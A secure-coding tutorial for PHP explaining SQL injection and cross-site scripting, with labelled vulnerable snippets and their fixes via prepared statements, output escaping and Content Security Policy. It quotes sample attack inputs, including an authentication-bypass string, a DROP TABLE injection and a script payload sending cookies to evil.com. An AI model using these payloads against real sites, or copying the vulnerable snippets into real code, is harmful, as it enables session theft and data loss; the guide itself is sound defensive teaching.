Why PHP Security Matters More Than Ever
PHP powers a significant portion of the web, which makes it a constant target for attackers. The good news: the most common vulnerabilities are entirely preventable with disciplined coding habits. This guide covers SQL Injection and Cross-Site Scripting (XSS) — two threats that consistently appear in security audits of PHP applications.
SQL Injection: The #1 Web Vulnerability
SQL injection occurs when untrusted user input is concatenated directly into a SQL query, allowing attackers to manipulate the query's logic, extract data, or destroy tables.
The Vulnerable Pattern (Never Do This)
// DANGEROUS — do not use
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
An attacker can send ' OR '1'='1 as the username and bypass authentication entirely, or use '; DROP TABLE users; -- to destroy data.
The Fix: Prepared Statements with Bound Parameters
// SAFE — always use prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute([':username' => $_POST['username']]);
$user = $stmt->fetch();
With PDO or MySQLi prepared statements, user input is never interpolated into the SQL string. The database treats it as pure data, not executable code.
Additional SQL Safety Rules
- Use an ORM (like Eloquent or Doctrine) — they use prepared statements by default.
- Grant your database user the minimum necessary permissions (no DROP, no GRANT).
- Never expose raw database error messages to end users.
- Use
LIMITclauses to reduce data exposure in case of an injection.
Cross-Site Scripting (XSS): Injecting Malicious Scripts
XSS happens when unescaped user-supplied data is rendered as HTML in the browser. Attackers inject JavaScript that steals session cookies, redirects users, or defaces pages.
The Vulnerable Pattern
// DANGEROUS — renders raw user input as HTML
echo "Hello, " . $_GET['name'] . "!";
If name contains <script>document.location='https://evil.com?c='+document.cookie</script>, that script will execute in the victim's browser.
The Fix: Always Escape Output
// SAFE — escape before rendering
echo "Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "!";
htmlspecialchars() converts special characters into HTML entities, neutralizing any injected markup. Always specify ENT_QUOTES and the character encoding.
Context Matters for XSS Prevention
| Output Context | Correct Escaping Method |
|---|---|
| HTML body | htmlspecialchars() |
| HTML attribute | htmlspecialchars() with ENT_QUOTES |
| JavaScript value | json_encode() |
| URL parameter | urlencode() |
| CSS value | Whitelist or avoid user input entirely |
Content Security Policy (CSP)
As a defense-in-depth measure, add a Content Security Policy header to restrict which scripts can execute on your pages:
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
Even if an XSS injection occurs, a strict CSP can prevent the malicious script from loading external resources or sending data off-site.
Key Takeaways
- Never trust user input — validate, sanitize, and escape everything.
- Prepared statements are non-negotiable for database queries.
- Escape output in the correct context every single time.
- Use CSP headers as an additional layer of protection.
Security is not a feature you add at the end — it's a habit you build from the first line of code.